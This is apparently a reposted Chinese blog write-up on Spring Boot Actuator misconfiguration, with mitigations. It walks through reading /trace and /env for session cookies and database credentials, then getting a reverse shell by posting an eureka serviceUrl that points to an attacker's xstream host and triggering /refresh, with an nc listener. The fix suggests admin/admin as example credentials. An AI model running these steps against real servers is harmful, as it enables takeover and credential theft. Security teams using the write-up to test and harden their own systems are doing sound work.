博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Spring Boot Actuator从未授权访问到getshell,可以进行操作漏洞(转)
阅读量:4040 次
发布时间:2019-05-24

本文共 3079 字,大约阅读时间需要 10 分钟。

项目中被扫描到有安全漏洞,主要是原因利用了spring boot 的env,加refresh进行获取到getshell,进行的操作。前置条件:Eureka-Client <1.8.7,通过IP/env的get请求就可以拿到数据;可以通过spring配置文件中增加endpoints.env.enabled= false,禁止env操作;也可以通过配置spring security 增加账户密码访问。

endpoints禁用,仅开启个别使用的服务配置endpoints:  enabled: false  env:    enabled: false  health:    enabled: true  info:    enabled: true

安全建议

在使用Actuator时,不正确的使用或者一些不经意的疏忽,就会造成严重的信息泄露等安全隐患。在代码审计时如果是springboot项目并且遇到actuator依赖,则有必要对安全依赖及配置进行复查。也可作为一条规则添加到黑盒扫描器中进一步把控。

安全的做法是一定要引入security依赖,打开安全限制并进行身份验证。同时设置单独的Actuator管理端口并配置不对外网开放。

————————————————————————————————————————————————

详细信息参考:

前言

部门大佬在某src上挖到了这个漏洞,是一个比较老的洞了,我觉得有点意思,就动手在本地搭了个环境测试一下。

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。

如上所示,actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

利用思路

① 利用env加refresh进行getshell

② 利用mappings,寻找未授权接口

③利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口。

④ env有可能泄露的数据库账号密码(mangodb),当然得开放外网,可能性较小。

⑤ 老外说可以执行sql语句,目前没搞明白

漏洞发现

通常识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断:

① 通过 web 应用程序网页标签的图标(favicon.ico);如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:

②通过 springboot 框架默认报错页面;如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):

访问一个随便构造的路径,比如:http:/172.26.2.24:8090/index,出现如下报错页面说明web网站使用了springboot框架(在实际中遇到的大多数都是此类情况)。

 

综合以上两个途径来判断当前 web 应用是否是 springboot 框架,就是通过访问不同的目录,看是否有小绿叶图标,然后就是想办法在不同目录下触发应用程序的 4xx 或 5xx 错误,看是否有 Whitelabel Error Page 报错。

漏洞利用

访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录用户的操作请求,可以伪造cookie进行登录。

 

访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公网,那么造成的危害是巨大的,

 

/env端点配置不当造成RCE,前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)比如测试前台json报错泄露包名就是使用netflix

 

需要以下两个包

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依赖)

利用python3启动脚本,需要注意两个地方,一个为接收shell的ip和端口,另一个为我们脚本启动的端口,

 

 

Nc监听一个端口用以接收反弹shell,

写入配置,访问/env端点,抓包将get请求改为post请求,post内容为

(该ip为脚本启动的机器的ip)

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

 

然后再访问/refresh,抓包将get请求更改为post请求,post数据随意,

 

然后在我们nc的窗口可以看到成功反弹了一个shell回来。

 

漏洞修复

作为一名安全dog,不能只挖不修,在项目的pom.xml文件下引入spring-boot-starter-security依赖

<dependency>

  <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

 

然后在application.properties中开启security功能,配置访问账号密码,重启应用即可弹出。

management.security.enabled=true

security.user.name=admin
security.user.password=admin

 

 

禁用接口,则可设置如下(如禁用env接口):

endpoints.env.enabled= false

问题

老外说可以执行sql语句发现执行不了,可能方法没用对,截了个他的图,希望有执行成功的大佬分享下。

 

实际环境中,发现很多无refresh ,导致无法执行命令目前还没突破

参考

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

https://www.cnblogs.com/junsec/p/12066305.html

https://www.freebuf.com/news/193509.html

"

前方高能:同款实验get

Springboot未授权访问

http://hetianlab.com/expc.do?w=exp_ass&ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858

(Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息从而导致信息泄露的事件发生)

 

你可能感兴趣的文章
YUV420只绘制Y通道
查看>>
yuv420 还原为RGB图像
查看>>
LED恒流驱动芯片
查看>>
驱动TFT要SDRAM做为显示缓存
查看>>
使用file查看可执行文件的平台性,x86 or arm ?
查看>>
qt5 everywhere 编译summary
查看>>
qt5 everywhere编译完成后,找不到qmake
查看>>
qt 创建异形窗体
查看>>
可重入函数与不可重入函数
查看>>
简单Linux C线程池
查看>>
内存池
查看>>
输入设备节点自动生成
查看>>
GNU hello代码分析
查看>>
Qt继电器控制板代码
查看>>
wpa_supplicant控制脚本
查看>>
gstreamer相关工具集合
查看>>
RS232 四入四出模块控制代码
查看>>
gstreamer插件之 videotestsrc
查看>>
linux 驱动开发 头文件
查看>>
/etc/resolv.conf
查看>>